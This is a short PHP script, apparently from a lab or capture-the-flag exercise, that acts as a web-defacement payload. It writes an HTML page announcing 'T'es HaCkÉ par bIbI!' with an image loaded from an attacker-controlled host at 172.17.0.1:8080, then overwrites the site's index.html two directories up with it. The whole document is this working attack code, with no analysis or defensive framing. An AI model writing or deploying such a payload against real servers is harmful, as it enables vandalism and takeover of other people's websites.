1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php $html=' <!DOCTYPE html> <head> <meta charset="UTF-8"> <title>HaCkÉ pAr BIbi</title> </head> <body> <h1>T\'es HaCkÉ par bIbI! </h1> <img src="http://172.17.0.1:8080/hack.jpeg" alt="" /> </body> </html>'; $fp = fopen('../../index.html', 'w+'); fwrite($fp, $html); fclose($fp);